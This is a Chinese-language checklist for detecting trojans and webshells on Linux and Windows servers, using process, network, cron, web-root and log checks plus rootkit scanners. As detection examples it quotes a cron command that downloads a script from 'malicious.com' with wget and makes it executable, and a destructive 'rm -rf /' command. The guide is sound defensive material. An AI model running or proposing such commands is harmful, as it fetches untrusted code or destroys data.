1. 检查系统资源占用异常
通过top(Linux)或任务管理器(Windows)查看系统资源使用情况,若发现CPU占用持续过高(如某进程占用率长期超过80%)、内存占用异常(如未知进程占用大量内存)或磁盘空间骤减(如/tmp目录下存在大量未知大文件),可能存在木马运行。重点关注无签名、路径异常(如非系统目录下的.exe、.sh文件)的进程。
2. 排查异常网络连接
使用netstat -antp(Linux)或netstat -ano(Windows)命令查看网络连接,若发现异常向外连接(如连接到陌生IP的ESTABLISHED状态连接)、高频发包(如某IP连接数远超正常业务需求)或非标准端口通信(如4444、6667等常见木马端口),可能正在传输数据。可通过lsof -p <PID>(Linux)查看进程关联的文件和端口,定位恶意进程。
3. 检测系统进程与服务
- 进程检查:通过ps aux | grep -v "grep"(Linux)或任务管理器(Windows)列出所有进程,排查无明确名称、描述模糊(如“svchost.exe”但路径不在C:\Windows\System32)或CPU/内存占用过高的进程。
- 服务检查:通过systemctl list-unit-files --type=service(Linux)或services.msc(Windows)查看服务,若存在未知来源、自动启动(如“Remote Administration Service”但未安装过)的服务,需进一步核查。
4. 审查启动项与计划任务
- 启动项:通过systemctl list-unit-files --type=service(Linux)或msconfig(Windows)查看开机启动项,若存在非系统自带、名称可疑(如“AutoStart”、“Malware”)的启动程序,可能用于持久化木马。
- 计划任务:通过crontab -l(Linux)或“任务计划程序”(Windows)查看计划任务,若存在高频执行、命令可疑(如wget http://malicious.com/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh)的任务,可能是木马的自动更新或执行机制。
5. 扫描Web目录与代码
若服务器运行网站,需重点检查Web根目录(如/var/www/html、C:\inetpub\wwwroot),使用grep -r "eval(" /var/www/html(Linux)或dir /s /b *eval*(Windows)查找Webshell(如PHP的eval(、base64_decode函数,ASP的Execute函数),或通过find /var/www/html -mtime -1(Linux)查看1天内修改的文件,定位新增的可疑脚本。同时,检查网站代码是否存在SQL注入、文件上传漏洞(如未过滤用户输入的$_GET、$_POST参数),防止木马再次上传。
6. 分析系统与网站日志
- 系统日志:通过last(Linux)查看登录记录,若存在异地IP登录(如管理员账号从陌生城市登录)、频繁失败登录(如多次尝试错误的密码)或异常操作(如/bin/rm -rf /命令),可能已被入侵。通过tail -n 100 /var/log/syslog(Linux)或“事件查看器”(Windows)查看系统日志,寻找可疑进程创建、文件修改记录。
- 网站日志:通过tail -n 100 /var/log/apache2/access.log(Linux Apache)或“IIS日志”(Windows)查看网站访问记录,若存在高频访问同一页面(如/shell.php)、异常Referer(如来自陌生域名的请求)或404错误集中在特定路径(如/wp-admin.php),可能是木马的活动痕迹。
7. 使用专业工具辅助检测
借助木马查杀工具(如Windows平台的“360杀毒”“安全狗Windows版”,Linux平台的chkrootkit、rkhunter),进行全面扫描。例如:
- chkrootkit:检测Linux系统是否被植入rootkit(如ls、ps等系统命令被替换);
- rkhunter:检查系统文件完整性、隐藏进程、可疑内核模块;
- 服务器安全狗:集成“木马查杀”“漏洞修复”“流量监控”功能,实时防护并报警。
这些工具能快速识别已知木马,提高检测效率。
8. 验证防护措施有效性
若服务器安装了防火墙(如ufw、iptables),检查是否开启端口过滤(如仅允许80、443、22端口开放)、IP黑白名单(如屏蔽恶意IP);若启用了Web应用防火墙(WAF),查看是否拦截了SQL注入、XSS攻击等恶意请求。防护措施的缺失或配置不当可能导致木马反复感染。